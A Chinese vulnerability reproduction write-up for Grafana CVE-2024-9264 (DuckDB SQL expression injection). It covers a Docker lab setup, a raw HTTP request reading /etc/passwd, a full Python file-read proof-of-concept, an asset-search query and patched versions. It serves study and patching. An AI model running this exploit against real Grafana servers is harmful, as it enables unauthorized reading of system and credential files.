# Grafana SQL 表达式远程代码执行漏洞 CVE-2024-9264 ## 漏洞描述 Grafana 的 SQL 表达式实验特性功能允许用户输入的 `duckdb` 查询。这些查询在传递给 `duckdb` 之前未经过充分过滤,从而导致命令注入和本地文件包含漏洞。任何具有 VIEWER 或更高权限的用户都能够执行此攻击。 注意,`duckdb` 二进制文件必须存在于 Grafana 的 `$PATH` 中,此攻击才能成功;默认情况下,此二进制文件未安装在 Grafana 发行版中。 参考链接: - https://grafana.com/security/security-advisories/cve-2024-9264/ - https://zekosec.com/blog/file-read-grafana-cve-2024-9264/ ## 漏洞影响 ``` Grafana 11.x.x ``` ## 网络测绘 ``` app="Grafana_Labs-公司产品" ``` ## 环境搭建 我们使用 Grafana 11.0.0 构建环境,安装  `duckdb` 二进制文件并将其添加到 Grafana 的 `$PATH` 中。下载 [duckdb_cli-linux-amd64.zip](https://github.com/duckdb/duckdb/releases/download/v0.8.1/duckdb_cli-linux-amd64.zip),与 Dockerfile、docker-compose.yml 放置在同一目录。 Dockerfile ``` FROM grafana/grafana:11.0.0-ubuntu USER root # Install DuckDB COPY duckdb_cli-linux-amd64.zip /tmp/ RUN apt-get update && apt-get install -y && apt-get install unzip -y && unzip /tmp/duckdb_cli-linux-amd64.zip -d /usr/local/bin/ \ && chmod +x /usr/local/bin/duckdb \ && rm /tmp/duckdb_cli-linux-amd64.zip # Add DuckDB to the PATH ENV PATH="/usr/local/bin:${PATH}" ``` docker-compose.yml ``` services: mysql: image: mysql:latest restart: always environment: - MYSQL_ROOT_PASSWORD=rootpassword - MYSQL_DATABASE=grafanadb - MYSQL_USER=grafana - MYSQL_PASSWORD=grafanapassword volumes: - ./mysql-data:/var/lib/mysql ports: - "3306:3306" healthcheck: test: ["CMD", "mysqladmin", "ping", "-h", "localhost"] interval: 10s timeout: 5s retries: 3 grafana: build: . ports: - "3000:3000" environment: - GF_SECURITY_ADMIN_PASSWORD=AwesomePoc123! - GF_DATABASE_TYPE=mysql - GF_DATABASE_HOST=mysql:3306 - GF_DATABASE_USER=grafana - GF_DATABASE_PASSWORD=grafanapassword - GF_DATABASE_NAME=grafanadb volumes: - grafana-storage:/var/lib/grafana - ./grafana.ini:/etc/grafana/grafana.ini depends_on: mysql: condition: service_healthy volumes: grafana-storage: mysql-storage: ``` 当前目录执行如下命令,启动一个 Grafana 11.0.0 环境: ``` docker build -t grafana:11.0.0 . docker-compose up -d ``` 环境启动后,访问 `http://your-ip:3000` 即可查看到管理后台。由于配置了密码,需要使用 `admin/AwesomePoc123!` 登录管理后台。 ![](images/Grafana%20SQL%20表达式远程代码执行漏洞%20CVE-2024-9264/image-20241105153155139.png) ## 漏洞复现 发送如下 POST 请求,将数据源类型修改为 `sql`。利用 `read_csv_auto()` 从目标系统读取任意文件,例如,`/etc/passwd`: ``` POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q100 HTTP/1.1 Host: your-ip:3000 Content-Type: application/json Cookie: grafana_session=23e897e4377fbd8c0386eb7d7d6c4664; grafana_session_expiry=1730791660 Content-Length: 368 { "from": "1696154400000", "to": "1696345200000", "queries": [ { "datasource": { "name": "Expression", "type": "__expr__", "uid": "__expr__" }, "expression": "SELECT * FROM read_csv_auto('/etc/passwd');", "hide": false, "refId": "B", "type": "sql", "window": "" } ] } ``` ![](images/Grafana%20SQL%20表达式远程代码执行漏洞%20CVE-2024-9264/image-20241105151930751.png) ## 漏洞 POC ```python #!/usr/bin/env python3 """ Grafana File Read PoC (CVE-2024-9264) Author: z3k0sec // www.zekosec.com """ import requests import json import sys import argparse class Console: def log(self, msg): print(msg, file=sys.stderr) console = Console() def msg_success(msg): console.log(f"[SUCCESS] {msg}") def msg_failure(msg): console.log(f"[FAILURE] {msg}") def failure(msg): msg_failure(msg) sys.exit(1) def authenticate(s, url, u, p): res = s.post(f"{url}/login", json={"password": p, "user": u}) if res.json().get("message") == "Logged in": msg_success(f"Logged in as {u}:{p}") else: failure(f"Failed to log in as {u}:{p}") def run_query(s, url, query): query_url = f"{url}/api/ds/query?ds_type=__expr__&expression=true&requestId=1" query_payload = { "from": "1696154400000", "to": "1696345200000", "queries": [ { "datasource": { "name": "Expression", "type": "__expr__", "uid": "__expr__" }, "expression": query, "hide": False, "refId": "B", "type": "sql", "window": "" } ] } res = s.post(query_url, json=query_payload) data = res.json() # Handle unexpected response if "message" in data: msg_failure("Unexpected response:") msg_failure(json.dumps(data, indent=4)) return None # Extract results frames = data.get("results", {}).get("B", {}).get("frames", []) if frames: values = [ row for frame in frames for row in frame["data"]["values"] ] if values: msg_success("Successfully ran DuckDB query:") return values failure("No valid results found.") def decode_output(values): return [":".join(str(i) for i in row if i is not None) for row in values] def main(url, user="admin", password="admin", file=None): s = requests.Session() authenticate(s, url, user, password) file = file or "/etc/passwd" escaped_filename = requests.utils.quote(file) query = f"SELECT * FROM read_csv_auto('{escaped_filename}');" content = run_query(s, url, query) if content: msg_success(f"Retrieved file {file}:") for line in decode_output(content): print(line) if __name__ == "__main__": parser = argparse.ArgumentParser(description="Arbitrary File Read in Grafana via SQL Expression (CVE-2024-9264).") parser.add_argument("--url", help="URL of the Grafana instance to exploit") parser.add_argument("--user", default="admin", help="Username to log in as, defaults to 'admin'") parser.add_argument("--password", default="admin", help="Password used to log in, defaults to 'admin'") parser.add_argument("--file", help="File to read on the server, defaults to '/etc/passwd'") args = parser.parse_args() main(args.url, args.user, args.password, args.file) ``` ## 漏洞修复 该漏洞最早出现在 Grafana 11.0.0 版本,现已在以下版本(OSS 和 Enterprise 版本)中修复: ``` 11.0.5+security-01 11.1.6+security-01 11.2.1+security-01 11.0.6+security-01 11.1.7+security-01 11.2.2+security-01 ```